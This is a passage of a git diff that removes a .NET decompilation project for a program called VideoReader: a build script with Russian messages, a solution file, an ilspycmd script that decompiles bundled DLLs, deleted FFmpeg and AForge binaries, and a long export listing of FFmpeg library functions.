"============================================" - echo "✓ СБОРКА УСПЕШНА!" - echo "============================================" - echo "Исполняемый файл находится в: bin/Release/net472/" - echo "" - echo "Для запуска на Windows:" - echo "1. Скопируйте все DLL файлы из папки desktop/ в папку с исполняемым файлом" - echo "2. Скопируйте папку FFmpeg в папку с исполняемым файлом" - echo "3. Запустите VideoReader.exe" -else - echo "" - echo "============================================" - echo "✗ ОШИБКА СБОРКИ!" - echo "============================================" - echo "Проверьте:" - echo "1. Наличие всех зависимых библиотек" - echo "2. Совместимость версий .NET Framework" - echo "3. Корректность путей к библиотекам" -fi - -echo "" -echo "Структура декомпилированного проекта:" -echo "- VideoReader.exe -> декомпилировано в VideoReader/" -echo "- Все DLL библиотеки -> декомпилированы в Libraries/" -echo "- Проект готов к изучению и модификации" \ No newline at end of file diff --git a/decompile.sln b/decompile.sln deleted file mode 100644 index a7e4f68..0000000 --- a/decompile.sln +++ /dev/null @@ -1,24 +0,0 @@ -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 17 -VisualStudioVersion = 17.5.2.0 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VideoReader", "output\VideoReader.csproj", "{27DACDC2-AAB3-F6CF-6DEE-39533F2E7C04}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {27DACDC2-AAB3-F6CF-6DEE-39533F2E7C04}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {27DACDC2-AAB3-F6CF-6DEE-39533F2E7C04}.Debug|Any CPU.Build.0 = Debug|Any CPU - {27DACDC2-AAB3-F6CF-6DEE-39533F2E7C04}.Release|Any CPU.ActiveCfg = Release|Any CPU - {27DACDC2-AAB3-F6CF-6DEE-39533F2E7C04}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {D86B554F-1C40-46DE-940E-666B1CF88F47} - EndGlobalSection -EndGlobal diff --git a/decompile_libs.sh b/decompile_libs.sh deleted file mode 100755 index 5bc18c0..0000000 --- a/decompile_libs.sh +++ /dev/null @@ -1,25 +0,0 @@ -#!/bin/bash - -# Декомпиляция всех DLL библиотек -DESKTOP_DIR="/home/data/decompile/desktop" -OUTPUT_DIR="/home/data/decompile/output/Libraries" - -echo "Декомпилируем библиотеки..." - -for dll in "$DESKTOP_DIR"/*.dll; do - if [ -f "$dll" ]; then - filename=$(basename "$dll" .dll) - echo "Декомпилируем $filename..." - - # Создаем отдельную папку для каждой библиотеки - mkdir -p "$OUTPUT_DIR/$filename" - - # Декомпилируем с созданием проекта - ilspycmd -p --nested-directories -o "$OUTPUT_DIR/$filename" "$dll" - - echo "Завершено: $filename" - echo "---" - fi -done - -echo "Декомпиляция всех библиотек завершена!" \ No newline at end of file diff --git a/desktop_3230/AForge.Imaging.dll b/desktop_3230/AForge.Imaging.dll deleted file mode 100644 index 150e87d..0000000 Binary files a/desktop_3230/AForge.Imaging.dll and /dev/null differ diff --git a/desktop_3230/AForge.Math.dll b/desktop_3230/AForge.Math.dll deleted file mode 100644 index bdc5e5b..0000000 Binary files a/desktop_3230/AForge.Math.dll and /dev/null differ diff --git a/desktop_3230/AForge.dll b/desktop_3230/AForge.dll deleted file mode 100644 index 311cfe5..0000000 Binary files a/desktop_3230/AForge.dll and /dev/null differ diff --git a/desktop_3230/BouncyCastle.Crypto.dll b/desktop_3230/BouncyCastle.Crypto.dll deleted file mode 100644 index 05036dd..0000000 Binary files a/desktop_3230/BouncyCastle.Crypto.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg.AutoGen.dll b/desktop_3230/FFmpeg.AutoGen.dll deleted file mode 100644 index 946748e..0000000 Binary files a/desktop_3230/FFmpeg.AutoGen.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/avcodec-57.dll b/desktop_3230/FFmpeg/bin/x64/avcodec-57.dll deleted file mode 100644 index f15f528..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/avcodec-57.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/avdevice-57.dll b/desktop_3230/FFmpeg/bin/x64/avdevice-57.dll deleted file mode 100644 index 785b57c..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/avdevice-57.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/avfilter-6.dll b/desktop_3230/FFmpeg/bin/x64/avfilter-6.dll deleted file mode 100644 index 6a13c0d..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/avfilter-6.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/avformat-57.dll b/desktop_3230/FFmpeg/bin/x64/avformat-57.dll deleted file mode 100644 index fbb72b9..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/avformat-57.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/avutil-55.dll b/desktop_3230/FFmpeg/bin/x64/avutil-55.dll deleted file mode 100644 index a926ed0..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/avutil-55.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/ffmpeg.exe b/desktop_3230/FFmpeg/bin/x64/ffmpeg.exe deleted file mode 100644 index 80a781a..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/ffmpeg.exe and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/ffplay.exe b/desktop_3230/FFmpeg/bin/x64/ffplay.exe deleted file mode 100644 index 91428b4..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/ffplay.exe and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/ffprobe.exe b/desktop_3230/FFmpeg/bin/x64/ffprobe.exe deleted file mode 100644 index d9021ab..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/ffprobe.exe and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/postproc-54.dll b/desktop_3230/FFmpeg/bin/x64/postproc-54.dll deleted file mode 100644 index dbfee05..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/postproc-54.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/swresample-2.dll b/desktop_3230/FFmpeg/bin/x64/swresample-2.dll deleted file mode 100644 index 9c11b23..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/swresample-2.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x64/swscale-4.dll b/desktop_3230/FFmpeg/bin/x64/swscale-4.dll deleted file mode 100644 index 3158ec5..0000000 Binary files a/desktop_3230/FFmpeg/bin/x64/swscale-4.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/avcodec-57.dll b/desktop_3230/FFmpeg/bin/x86/avcodec-57.dll deleted file mode 100644 index b383fe8..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/avcodec-57.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/avdevice-57.dll b/desktop_3230/FFmpeg/bin/x86/avdevice-57.dll deleted file mode 100644 index de19cda..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/avdevice-57.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/avfilter-6.dll b/desktop_3230/FFmpeg/bin/x86/avfilter-6.dll deleted file mode 100644 index 1571e80..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/avfilter-6.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/avformat-57.dll b/desktop_3230/FFmpeg/bin/x86/avformat-57.dll deleted file mode 100644 index b55ec6d..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/avformat-57.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/avutil-55.dll b/desktop_3230/FFmpeg/bin/x86/avutil-55.dll deleted file mode 100644 index a1917fb..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/avutil-55.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/ffmpeg.exe b/desktop_3230/FFmpeg/bin/x86/ffmpeg.exe deleted file mode 100644 index b8b45e9..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/ffmpeg.exe and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/ffplay.exe b/desktop_3230/FFmpeg/bin/x86/ffplay.exe deleted file mode 100644 index 34b9622..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/ffplay.exe and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/ffprobe.exe b/desktop_3230/FFmpeg/bin/x86/ffprobe.exe deleted file mode 100644 index c56cebd..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/ffprobe.exe and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/postproc-54.dll b/desktop_3230/FFmpeg/bin/x86/postproc-54.dll deleted file mode 100644 index ac7f8ff..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/postproc-54.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/swresample-2.dll b/desktop_3230/FFmpeg/bin/x86/swresample-2.dll deleted file mode 100644 index 859325f..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/swresample-2.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/bin/x86/swscale-4.dll b/desktop_3230/FFmpeg/bin/x86/swscale-4.dll deleted file mode 100644 index 0483512..0000000 Binary files a/desktop_3230/FFmpeg/bin/x86/swscale-4.dll and /dev/null differ diff --git a/desktop_3230/FFmpeg/exports.txt b/desktop_3230/FFmpeg/exports.txt deleted file mode 100644 index b71e4ec..0000000 --- a/desktop_3230/FFmpeg/exports.txt +++ /dev/null @@ -1,1145 +0,0 @@ -Microsoft (R) COFF/PE Dumper Version 12.00.40629.0 -Copyright (C) Microsoft Corporation. All rights reserved. - - -Dump of file avcodec-57.dll - -File Type: DLL - - Section contains the following exports for avcodec-57.dll - - 00000000 characteristics - 56C53A4E time date stamp Thu Feb 18 04:28:14 2016 - 0.00 version - 1 ordinal base - 211 number of functions - 211 number of names - - ordinal hint RVA name - - 1 0 00632950 audio_resample - 2 1 00634020 audio_resample_close - 3 2 000CE140 av_audio_convert - 4 3 000CE0E0 av_audio_convert_alloc - 5 4 000CE130 av_audio_convert_free - 6 5 00632590 av_audio_resample_init - 7 6 000DC1F0 av_bitstream_filter_close - 8 7 000DC240 av_bitstream_filter_filter - 9 8 000DC160 av_bitstream_filter_init - 10 9 000DC120 av_bitstream_filter_next - 11 A 01877460 av_codec_ffversion - 12 B 00711FA0 av_codec_get_chroma_intra_matrix - 13 C 00711F40 av_codec_get_codec_descriptor - 14 D 00711FC0 av_codec_get_codec_properties - 15 E 00711F60 av_codec_get_lowres - 16 F 00711FD0 av_codec_get_max_lowres - 17 10 00711F20 av_codec_get_pkt_timebase - 18 11 00711F80 av_codec_get_seek_preroll - 19 12 0070FDC0 av_codec_is_decoder - 20 13 0070FD80 av_codec_is_encoder - 21 14 0070FD60 av_codec_next - 22 15 00711FB0 av_codec_set_chroma_intra_matrix - 23 16 00711F50 av_codec_set_codec_descriptor - 24 17 00711F70 av_codec_set_lowres - 25 18 00711F30 av_codec_set_pkt_timebase - 26 19 00711F90 av_codec_set_seek_preroll - 27 1A 000CFB10 av_copy_packet - 28 1B 000CF7E0 av_copy_packet_side_data - 29 1C 00717A50 av_cpb_properties_alloc - 30 1D 00105D90 av_d3d11va_alloc_context - 31 1E 000CF270 av_dct_calc - 32 1F 0159B4EF av_dct_end - 33 20 000CF220 av_dct_init - 34 21 0012E140 av_dirac_parse_sequence_header - 35 22 000CF9B0 av_dup_packet - 36 23 00163320 av_dv_codec_profile - 37 24 00163460 av_dv_codec_profile2 - 38 25 001631B0 av_dv_frame_profile - 39 26 0070FC10 av_fast_padded_malloc - 40 27 0070FCC0 av_fast_padded_mallocz - 41 28 000CF120 av_fft_calc - 42 29 0159B480 av_fft_end - 43 2A 000CF0C0 av_fft_init - 44 2B 000CF110 av_fft_permute - 45 2C 000CFD30 av_free_packet - 46 2D 00715550 av_get_audio_frame_duration - 47 2E 007153B0 av_get_bits_per_sample - 48 2F 00714540 av_get_codec_tag_string - 49 30 00714720 av_get_exact_bits_per_sample - 50 31 00715380 av_get_pcm_codec - 51 32 007145F0 av_get_profile_name - 52 33 000CF590 av_grow_packet - 53 34 00716020 av_hwaccel_next - 54 35 000CF190 av_imdct_calc - 55 36 000CF1A0 av_imdct_half - 56 37 000CF280 av_init_packet - 57 38 00716040 av_lockmgr_register - 58 39 00715F90 av_log_ask_for_sample - 59 3A 00715F50 av_log_missing_feature - 60 3B 000CF1B0 av_mdct_calc - 61 3C 0159B4A5 av_mdct_end - 62 3D 000CF130 av_mdct_init - 63 3E 000CF480 av_new_packet - 64 3F 000CFDA0 av_packet_add_side_data - 65 40 000CF2D0 av_packet_alloc - 66 41 000D09F0 av_packet_clone - 67 42 000D06A0 av_packet_copy_props - 68 43 000CF3A0 av_packet_free - 69 44 000CFCE0 av_packet_free_side_data - 70 45 000CF780 av_packet_from_data - 71 46 000CFEB0 av_packet_get_side_data - 72 47 000D0040 av_packet_merge_side_data - 73 48 000D0B90 av_packet_move_ref - 74 49 000CFE10 av_packet_new_side_data - 75 4A 000D0480 av_packet_pack_dictionary - 76 4B 000D08F0 av_packet_ref - 77 4C 000D0C40 av_packet_rescale_ts - 78 4D 000D0640 av_packet_shrink_side_data - 79 4E 000CFF10 av_packet_side_data_name - 80 4F 000D02B0 av_packet_split_side_data - 81 50 000D0590 av_packet_unpack_dictionary - 82 51 000D0840 av_packet_unref - 83 52 005D5C30 av_parser_change - 84 53 005D5D40 av_parser_close - 85 54 005D4FF0 av_parser_init - 86 55 005D4FB0 av_parser_next - 87 56 005D58C0 av_parser_parse2 - 88 57 000D0FA0 av_picture_copy - 89 58 0041CB10 av_picture_crop - 90 59 0041CD10 av_picture_pad - 91 5A 00620C70 av_qsv_alloc_context - 92 5B 000CF210 av_rdft_calc - 93 5C 0159B4CA av_rdft_end - 94 5D 000CF1C0 av_rdft_init - 95 5E 000DC140 av_register_bitstream_filter - 96 5F 005D4FD0 av_register_codec_parser - 97 60 00715FE0 av_register_hwaccel - 98 61 00634B20 av_resample - 99 62 00634AC0 av_resample_close - 100 63 00634AF0 av_resample_compensate - 101 64 00634090 av_resample_init - 102 65 000CF550 av_shrink_packet - 103 66 00771C40 av_vorbis_parse_frame - 104 67 00771B20 av_vorbis_parse_frame_flags - 105 68 00771D10 av_vorbis_parse_free - 106 69 00771D20 av_vorbis_parse_init - 107 6A 00771D00 av_vorbis_parse_reset - 108 6B 00715ED0 av_xiphlacing - 109 6C 013062D0 available_bits - 110 6D 00710300 avcodec_align_dimensions - 111 6E 0070FFE0 avcodec_align_dimensions2 - 112 6F 005BBDB0 avcodec_alloc_context3 - 113 70 007106A0 avcodec_chroma_pos_to_enum - 114 71 015D57BF avcodec_close - 115 72 00714690 avcodec_configuration - 116 73 005BBE70 avcodec_copy_context - 117 74 000CEF80 avcodec_dct_alloc - 118 75 000CEF70 avcodec_dct_get_class - 119 76 000CEFC0 avcodec_dct_init - 120 77 00713010 avcodec_decode_audio4 - 121 78 00713910 avcodec_decode_subtitle2 - 122 79 00712B80 avcodec_decode_video2 - 123 7A 00711AB0 avcodec_default_execute - 124 7B 00711B50 avcodec_default_execute2 - 125 7C 00710C30 avcodec_default_get_buffer2 - 126 7D 00711C10 avcodec_default_get_format - 127 7E 00102070 avcodec_descriptor_get - 128 7F 00102110 avcodec_descriptor_get_by_name - 129 80 001020C0 avcodec_descriptor_next - 130 81 007122F0 avcodec_encode_audio2 - 131 82 00712B30 avcodec_encode_subtitle - 132 83 00712850 avcodec_encode_video2 - 133 84 00710660 avcodec_enum_to_chroma_pos - 134 85 00710760 avcodec_fill_audio_frame - 135 86 0041CAB0 avcodec_find_best_pix_fmt2 - 136 87 0041CAA0 avcodec_find_best_pix_fmt_of_2 - 137 88 0041CAC0 avcodec_find_best_pix_fmt_of_list - 138 89 00714390 avcodec_find_decoder - 139 8A 007143E0 avcodec_find_decoder_by_name - 140 8B 007142C0 avcodec_find_encoder - 141 8C 00714320 avcodec_find_encoder_by_name - 142 8D 007146B0 avcodec_flush_buffers - 143 8E 005BBE00 avcodec_free_context - 144 8F 0041CA30 avcodec_get_chroma_sub_sample - 145 90 005BC320 avcodec_get_class - 146 91 005BBBA0 avcodec_get_context_defaults3 - 147 92 0070FDE0 avcodec_get_edge_width - 148 93 005BC330 avcodec_get_frame_class - 149 94 00714440 avcodec_get_name - 150 95 0041CA90 avcodec_get_pix_fmt_loss - 151 96 005BC340 avcodec_get_subtitle_rect_class - 152 97 001021B0 avcodec_get_type - 153 98 007178B0 avcodec_is_open - 154 99 007146A0 avcodec_license - 155 9A 00716310 avcodec_open2 - 156 9B 00631000 avcodec_pix_fmt_to_codec_tag - 157 9C 00714620 avcodec_profile_name - 158 9D 015D574A avcodec_register - 159 9E 000A1130 avcodec_register_all - 160 9F 0070FDF0 avcodec_set_dimensions - 161 A0 00714870 avcodec_string - 162 A1 00714680 avcodec_version - 163 A2 014D8F60 aver_isf_history - 164 A3 011EBD30 average_split_mvs - 165 A4 000D0F30 avpicture_alloc - 166 A5 000D0EA0 avpicture_fill - 167 A6 000D0F90 avpicture_free - 168 A7 000D0F20 avpicture_get_size - 169 A8 000D0EE0 avpicture_layout - 170 A9 00007410 avpriv_aac_parse_header - 171 AA 016668C0 avpriv_ac3_channel_layout_tab - 172 AB 00069870 avpriv_ac3_parse_header - 173 AC 000DB1A0 avpriv_align_put_bits - 174 AD 007178C0 avpriv_bprint_to_extradata - 175 AE 000DB340 avpriv_copy_bits - 176 AF 004CF5D0 avpriv_copy_pce_data - 177 B0 00105DB0 avpriv_dca_convert_bitstream - 178 B1 01692E00 avpriv_dca_sample_rates - 179 B2 001552B0 avpriv_dnxhd_get_frame_size - 180 B3 00155300 avpriv_dnxhd_get_interlaced - 181 B4 00155350 avpriv_dnxhd_parse_header_prefix - 182 B5 001880A0 avpriv_do_elbg - 183 B6 00196460 avpriv_exif_decode_ifd - 184 B7 00711BE0 avpriv_find_pix_fmt - 185 B8 00717920 avpriv_find_start_code - 186 B9 00630FF0 avpriv_get_raw_pix_fmt_tags - 187 BA 0020F820 avpriv_h264_has_num_reorder_frames - 188 BB 0018AB60 avpriv_init_elbg - 189 BC 00717750 avpriv_lock_avformat - 190 BD 01732610 avpriv_mjpeg_bits_ac_chrominance - 191 BE 017326F0 avpriv_mjpeg_bits_ac_luminance - 192 BF 01732710 avpriv_mjpeg_bits_dc_chrominance - 193 C0 01732740 avpriv_mjpeg_bits_dc_luminance - 194 C1 01732560 avpriv_mjpeg_val_ac_chrominance - 195 C2 01732640 avpriv_mjpeg_val_ac_luminance - 196 C3 01732728 avpriv_mjpeg_val_dc - 197 C4 01790C40 avpriv_mpa_bitrate_tab - 198 C5 004F35F0 avpriv_mpa_decode_header - 199 C6 004F3400 avpriv_mpa_decode_header2 - 200 C7 01790C24 avpriv_mpa_freq_tab - 201 C8 004CF000 avpriv_mpeg4audio_get_config - 202 C9 0178CD80 avpriv_mpeg4audio_sample_rates - 203 CA 004F3050 avpriv_mpegaudio_decode_header - 204 CB 01808840 avpriv_pix_fmt_bps_avi - 205 CC 018087E0 avpriv_pix_fmt_bps_mov - 206 CD 000DB220 avpriv_put_string - 207 CE 00A58220 avpriv_split_xiph_headers - 208 CF 006DD950 avpriv_tak_parse_streaminfo - 209 D0 007177B0 avpriv_toupper4 - 210 D1 00717780 avpriv_unlock_avformat - 211 D2 007141E0 avsubtitle_free - -Dump of file avdevice-57.dll - -File Type: DLL - - Section contains the following exports for avdevice-57.dll - - 00000000 characteristics - 56C53A51 time date stamp Thu Feb 18 04:28:17 2016 - 0.00 version - 1 ordinal base - 18 number of functions - 18 number of names - - ordinal hint RVA name - - 1 0 00096500 av_device_capabilities - 2 1 00096780 av_device_ffversion - 3 2 00001560 av_input_audio_device_next - 4 3 000015A0 av_input_video_device_next - 5 4 000015E0 av_output_audio_device_next - 6 5 00001620 av_output_video_device_next - 7 6 00001660 avdevice_app_to_dev_control_message - 8 7 000016E0 avdevice_capabilities_create - 9 8 00001850 avdevice_capabilities_free - 10 9 00001540 avdevice_configuration - 11 A 00001690 avdevice_dev_to_app_control_message - 12 B 00001BD0 avdevice_free_list_devices - 13 C 00001550 avdevice_license - 14 D 000018E0 avdevice_list_devices - 15 E 00001AA0 avdevice_list_input_sources - 16 F 00001B30 avdevice_list_output_sinks - 17 10 000014A0 avdevice_register_all - 18 11 00001530 avdevice_version - -Dump of file avfilter-6.dll - -File Type: DLL - - Section contains the following exports for avfilter-6.dll - - 00000000 characteristics - 56C53A51 time date stamp Thu Feb 18 04:28:17 2016 - 0.00 version - 1 ordinal base - 61 number of functions - 61 number of names - - ordinal hint RVA name - - 1 0 000402C0 av_abuffersink_params_alloc - 2 1 0003FEF0 av_buffersink_get_frame - 3 2 0003FF00 av_buffersink_get_frame_flags - 4 3 000402F0 av_buffersink_get_frame_rate - 5 4 00040010 av_buffersink_get_samples - 6 5 00040290 av_buffersink_params_alloc - 7 6 000402D0 av_buffersink_set_frame_size - 8 7 000408F0 av_buffersrc_add_frame - 9 8 00040B50 av_buffersrc_add_frame_flags - 10 9 00040C30 av_buffersrc_get_nb_failed_requests - 11 A 00040820 av_buffersrc_write_frame - 12 B 003157D0 av_filter_ffversion - 13 C 0003B750 av_filter_next - 14 D 0004FEA0 avfilter_add_matrix - 15 E 0031CEE0 avfilter_all_channel_layouts - 16 F 0003A2E0 avfilter_config_links - 17 10 00039B30 avfilter_configuration - 18 11 0003BA70 avfilter_free - 19 12 0003B650 avfilter_get_by_name - 20 13 0003C3D0 avfilter_get_class - 21 14 0004FDE0 avfilter_get_matrix - 22 15 0003D860 avfilter_graph_add_filter - 23 16 0003D6F0 avfilter_graph_alloc - 24 17 0003D9E0 avfilter_graph_alloc_filter - 25 18 0003DAF0 avfilter_graph_config - 26 19 0003D8B0 avfilter_graph_create_filter - 27 1A 0004C620 avfilter_graph_dump - 28 1B 0003D7D0 avfilter_graph_free - 29 1C 0003DAA0 avfilter_graph_get_filter - 30 1D 0004D520 avfilter_graph_parse - 31 1E 0004D120 avfilter_graph_parse2 - 32 1F 0004D930 avfilter_graph_parse_ptr - 33 20 0003F1F0 avfilter_graph_queue_command - 34 21 0003F610 avfilter_graph_request_oldest - 35 22 0003F060 avfilter_graph_send_command - 36 23 0003D9D0 avfilter_graph_set_auto_convert - 37 24 0003BBC0 avfilter_init_dict - 38 25 0003C090 avfilter_init_filter - 39 26 0003BCD0 avfilter_init_str - 40 27 0004D0D0 avfilter_inout_alloc - 41 28 0004D0E0 avfilter_inout_free - 42 29 0003A030 avfilter_insert_filter - 43 2A 00039B40 avfilter_license - 44 2B 00039D10 avfilter_link - 45 2C 00039E80 avfilter_link_free - 46 2D 00039ED0 avfilter_link_get_channels - 47 2E 0003A000 avfilter_link_set_closed - 48 2F 00049640 avfilter_make_format64_list - 49 30 00050300 avfilter_mul_matrix - 50 31 0003B730 avfilter_next - 51 32 0003BA40 avfilter_open - 52 33 0003B780 avfilter_pad_count - 53 34 0003C0A0 avfilter_pad_get_name - 54 35 0003C0B0 avfilter_pad_get_type - 55 36 0003AED0 avfilter_process_command - 56 37 0003B6A0 avfilter_register - 57 38 00028940 avfilter_register_all - 58 39 000500D0 avfilter_sub_matrix - 59 3A 00050390 avfilter_transform - 60 3B 0003B770 avfilter_uninit - 61 3C 00039B20 avfilter_version - -Dump of file avformat-57.dll - -File Type: DLL - - Section contains the following exports for avformat-57.dll - - 00000000 characteristics - 56C53A50 time date stamp Thu Feb 18 04:28:16 2016 - 0.00 version - 1 ordinal base - 174 number of functions - 174 number of names - - ordinal hint RVA name - - 1 0 001337A0 av_add_index_entry - 2 1 001305D0 av_append_packet - 3 2 0013C910 av_apply_bitstream_filters - 4 3 00136DC0 av_codec_get_id - 5 4 00136D10 av_codec_get_tag - 6 5 00136D60 av_codec_get_tag2 - 7 6 000289A0 av_convert_lang_to - 8 7 00130630 av_demuxer_open - 9 8 00039DB0 av_dump_format - 10 9 0013AC00 av_filename_number_test - 11 A 00139FA0 av_find_best_stream - 12 B 00133170 av_find_default_stream_index - 13 C 000495D0 av_find_input_format - 14 D 00139F20 av_find_program_from_stream - 15 E 000E83C0 av_fmt_ctx_get_duration_estimation_method - 16 F 0055A260 av_format_ffversion - 17 10 00130250 av_format_get_audio_codec - 18 11 001302F0 av_format_get_control_message_cb - 19 12 00130290 av_format_get_data_codec - 20 13 001302B0 av_format_get_metadata_header_padding - 21 14 001302D0 av_format_get_opaque - 22 15 00130310 av_format_get_open_cb - 23 16 001304A0 av_format_get_probe_score - 24 17 00130270 av_format_get_subtitle_codec - 25 18 00130230 av_format_get_video_codec - 26 19 00130360 av_format_inject_global_side_data - 27 1A 00130260 av_format_set_audio_codec - 28 1B 00130300 av_format_set_control_message_cb - 29 1C 001302A0 av_format_set_data_codec - 30 1D 001302C0 av_format_set_metadata_header_padding - 31 1E 001302E0 av_format_set_opaque - 32 1F 00130320 av_format_set_open_cb - 33 20 00130280 av_format_set_subtitle_codec - 34 21 00130240 av_format_set_video_codec - 35 22 0013AA90 av_get_frame_filename - 36 23 000C0750 av_get_output_timestamp - 37 24 00130580 av_get_packet - 38 25 000494E0 av_guess_codec - 39 26 00049360 av_guess_format - 40 27 0013BEB0 av_guess_frame_rate - 41 28 0013BD80 av_guess_sample_aspect_ratio - 42 29 000398A0 av_hex_dump - 43 2A 000398C0 av_hex_dump_log - 44 2B 00049260 av_iformat_next - 45 2C 00134F20 av_index_search_timestamp - 46 2D 000BF760 av_interleaved_write_frame - 47 2E 000C0B90 av_interleaved_write_uncoded_frame - 48 2F 00049320 av_match_ext - 49 30 0013A7D0 av_new_program - 50 31 00049280 av_oformat_next - 51 32 000398D0 av_pkt_dump2 - 52 33 00039BF0 av_pkt_dump_log2 - 53 34 00049CB0 av_probe_input_buffer - 54 35 00049940 av_probe_input_buffer2 - 55 36 00049910 av_probe_input_format - 56 37 000498E0 av_probe_input_format2 - 57 38 00049620 av_probe_input_format3 - 58 39 0013A980 av_program_add_stream_index - 59 3A 001346A0 av_read_frame - 60 3B 0013A2E0 av_read_pause - 61 3C 0013A2B0 av_read_play - 62 3D 00005C50 av_register_all - 63 3E 000492A0 av_register_input_format - 64 3F 000492E0 av_register_output_format - 65 40 001145D0 av_sdp_create - 66 41 00136490 av_seek_frame - 67 42 00130330 av_stream_get_end_pts - 68 43 00130350 av_stream_get_parser - 69 44 001301F0 av_stream_get_r_frame_rate - 70 45 00130210 av_stream_get_recommended_encoder_configuration - 71 46 0013C6D0 av_stream_get_side_data - 72 47 0013C730 av_stream_new_side_data - 73 48 00130200 av_stream_set_r_frame_rate - 74 49 00130220 av_stream_set_recommended_encoder_configuration - 75 4A 0013B170 av_url_split - 76 4B 000BEAA0 av_write_frame - 77 4C 000BFF60 av_write_trailer - 78 4D 000C09A0 av_write_uncoded_frame - 79 4E 000C0C30 av_write_uncoded_frame_query - 80 4F 000E8310 avformat_alloc_context - 81 50 000BDF50 avformat_alloc_output_context2 - 82 51 0013A640 avformat_close_input - 83 52 001301D0 avformat_configuration - 84 53 00137CA0 avformat_find_stream_info - 85 54 00136B70 avformat_flush - 86 55 0013A380 avformat_free_context - 87 56 000E83D0 avformat_get_class - 88 57 0006E550 avformat_get_mov_audio_tags - 89 58 0006E540 avformat_get_mov_video_tags - 90 59 000EE320 avformat_get_riff_audio_tags - 91 5A 000EE310 avformat_get_riff_video_tags - 92 5B 001301E0 avformat_license - 93 5C 0013C060 avformat_match_stream_specifier - 94 5D 0013BBC0 avformat_network_deinit - 95 5E 0013BB90 avformat_network_init - 96 5F 0013B650 avformat_new_stream - 97 60 0013AC40 avformat_open_input - 98 61 0013BB00 avformat_query_codec - 99 62 001306F0 avformat_queue_attached_pictures - 100 63 001362A0 avformat_seek_file - 101 64 001301C0 avformat_version - 102 65 000BE0A0 avformat_write_header - 103 66 000278C0 avio_accept - 104 67 00020F20 avio_alloc_context - 105 68 0001F0E0 avio_check - 106 69 000264B0 avio_close - 107 6A 00020600 avio_close_dir - 108 6B 00027D30 avio_close_dyn_buf - 109 6C 00027070 avio_closep - 110 6D 0001E120 avio_enum_protocols - 111 6E 00021930 avio_feof - 112 6F 0001F0B0 avio_find_protocol_name - 113 70 000213B0 avio_flush - 114 71 00020700 avio_free_directory_entry - 115 72 000252D0 avio_get_str - 116 73 00025AA0 avio_get_str16be - 117 74 000257D0 avio_get_str16le - 118 75 00027AD0 avio_handshake - 119 76 00026800 avio_open - 120 77 00026A10 avio_open2 - 121 78 00020010 avio_open_dir - 122 79 00027AE0 avio_open_dyn_buf - 123 7A 000273C0 avio_pause - 124 7B 000271C0 avio_printf - 125 7C 00022090 avio_put_str - 126 7D 000224D0 avio_put_str16be - 127 7E 00022270 avio_put_str16le - 128 7F 00023490 avio_r8 - 129 80 00024850 avio_rb16 - 130 81 00024CB0 avio_rb24 - 131 82 00024F20 avio_rb32 - 132 83 00025D70 avio_rb64 - 133 84 000236A0 avio_read - 134 85 000205A0 avio_read_dir - 135 86 00027450 avio_read_to_bprint - 136 87 00023EF0 avio_rl16 - 137 88 00024350 avio_rl24 - 138 89 000245C0 avio_rl32 - 139 8A 00024690 avio_rl64 - 140 8B 00021480 avio_seek - 141 8C 000273E0 avio_seek_time - 142 8D 000218A0 avio_size - 143 8E 00021890 avio_skip - 144 8F 00021040 avio_w8 - 145 90 00022D30 avio_wb16 - 146 91 00023160 avio_wb24 - 147 92 00021F30 